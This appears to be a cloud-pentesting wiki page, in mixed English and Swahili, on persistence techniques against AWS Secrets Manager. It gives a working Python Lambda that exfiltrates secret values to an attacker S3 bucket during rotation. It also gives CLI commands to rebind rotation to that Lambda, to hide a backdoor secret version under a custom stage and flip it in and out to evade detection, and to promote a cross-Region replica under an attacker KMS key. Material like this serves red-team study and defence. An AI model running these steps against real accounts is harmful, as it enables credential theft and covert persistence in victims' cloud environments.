AWS - Secrets Manager Persistence

Reading time: 10 minutes

Secrets Manager

For more info check:

AWS - Secrets Manager Enum

Kupitia Sera za Rasilimali

Inawezekana kutoa upatikanaji wa siri kwa akaunti za nje kupitia sera za rasilimali. Angalia Secrets Manager Privesc page kwa maelezo zaidi. Kumbuka kwamba ili kupata siri, akaunti ya nje itahitaji pia ufikiaji wa KMS key inayofanya encryption ya siri hiyo.

Kupitia Secrets Rotate Lambda

Ili kupangilia upya siri kiotomatiki, Lambda iliyosanifiwa inaitwa. Ikiwa mshambuliaji angeweza kubadilisha code angeweza moja kwa moja exfiltrate the new secret to himself.

This is how lambda code for such action could look like:

import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

Badilisha Lambda ya rotation kuwa kazi inayodhibitiwa na mshambuliaji kupitia RotateSecret

Tumia vibaya secretsmanager:RotateSecret ili kurebind secret kwa rotation Lambda inayodhibitiwa na mshambuliaji na kusababisha rotation ya papo hapo. Kazi hasidi inafanya exfiltrates versions za secret (AWSCURRENT/AWSPENDING) wakati wa hatua za rotation (createSecret/setSecret/testSecret/finishSecret) hadi attacker sink (mfano, S3 au external HTTP).

• Mahitaji

• Idhini: secretsmanager:RotateSecret, lambda:InvokeFunction on the attacker Lambda, iam:CreateRole/PassRole/PutRolePolicy (or AttachRolePolicy) to provision the Lambda execution role with secretsmanager:GetSecretValue and preferably secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (so rotation keeps working), KMS kms:Decrypt for the secret KMS key, and s3:PutObject (or outbound egress) for exfiltration.

• Secret id lengwa (SecretId) na rotation imewezeshwa au uwezo wa kuwezesha rotation.

• Athari

• Mshambuliaji anapata thamani(zi) za secret bila kubadilisha code halali ya rotation. Mabadiliko ni tu kwenye configuration ya rotation ili kuelekeza kwa Lambda ya mshambuliaji. Ikiwa hayataonekana, rotations zilizopangwa za baadaye zitaendelea kuitisha kazi ya mshambuliaji pia.

• Hatua za shambulio (CLI)

1. Andaa attacker sink na Lambda role

• Unda S3 bucket kwa exfiltration na execution role inayotegemewa na Lambda yenye idhini za kusoma secret na kuandika S3 (na logs/KMS kama inahitajika).

2. Deploy Lambda ya mshambuliaji ambayo kila hatua ya rotation inachukua thamani(zi) za secret na kuziandika S3. Logic ya rotation minimal inaweza tu kunakili AWSCURRENT hadi AWSPENDING na kuipromote katika finishSecret ili huduma iendelee kufanya kazi.
3. Rebind rotation na uitishe

• aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately

4. Thibitisha exfiltration kwa kuorodhesha prefix ya S3 kwa secret hiyo na kukagua artifacts za JSON.
5. (Hiari) Rudisha Lambda ya rotation ya asili ili kupunguza kugunduliwa.

• Mfano wa attacker Lambda (Python) exfiltrating to S3
• Environment: EXFIL_BUCKET=<bucket>
• Handler: lambda_function.lambda_handler

import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Abuse Secrets Manager version staging labels ili kuweka toleo la secret linalodhibitiwa na mshambuliaji na kulificha chini ya custom stage (kwa mfano, ATTACKER) wakati production inaendelea kutumia asili ya AWSCURRENT. Wakati wowote, hamisha AWSCURRENT kwa toleo la mshambuliaji ili kuchafua workloads zinazotegemea, kisha urejeshe ili kupunguza uwezekano wa kugunduliwa. Hii inatoa stealthy backdoor persistence na udhibiti wa haraka wa time-of-use bila kubadilisha jina la secret au rotation config.

• Mahitaji

• Ruhusa: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (kwa uhakikisho)

• ID ya secret lengwa katika Region.

• Athari

• Hifadhi toleo lililofichwa, linalodhibitiwa na mshambuliaji la secret na kwa atomiki ibadilishe AWSCURRENT kwa hilo unapoagizwa, ukiaathiri yeyote anayetatua jina la secret sawa. Kubadili na urejesho wa haraka hupunguza nafasi ya kugunduliwa huku ikiruhusu kuathiriwa kwa time-of-use.

• Hatua za mashambulizi (CLI)

• Maandalizi

• export SECRET_ID=<target secret id or arn>

# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

• Vidokezo
• When you supply --client-request-token, Secrets Manager uses it as the VersionId. Adding a new version without explicitly setting --version-stages moves AWSCURRENT to the new version by default, and marks the previous one as AWSPREVIOUS.

Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.

• Mahitaji

• Ruhusa: secretsmanager:ReplicateSecretToRegions, secretsmanager:StopReplicationToReplica, secretsmanager:PutResourcePolicy, secretsmanager:GetResourcePolicy, secretsmanager:DescribeSecret.

• Katika Region ya nakala: kms:CreateKey, kms:CreateAlias, kms:CreateGrant (or kms:PutKeyPolicy) ili kumruhusu principal wa mshambulizi kms:Decrypt.

• Principal wa mshambulizi (mtumiaji/cheo) ili kupokea haki ya kusoma kwenye siri iliyopromote.

• Athari

• Njia ya kudumu ya kupata thamani ya siri kuvuka-Region kupitia nakala huru iliyo chini ya KMS CMK inayodhibitiwa na mshambulizi na resource policy yenye ruhusa. Siri ya msingi katika Region ya asili haijabadilishwa.

• Attack (CLI)

• Vars

export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>

1. Unda KMS key inayodhibitiwa na mshambuliaji katika replica Region

cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey

2. Nakili siri kwa R2 kwa kutumia attacker KMS key

aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'

3. Inua nakala kuwa pekee katika R2

# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"

4. Ambatisha permissive resource policy kwenye standalone secret katika R2

cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"

5. Soma secret kutoka kwa attacker principal katika R2

# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text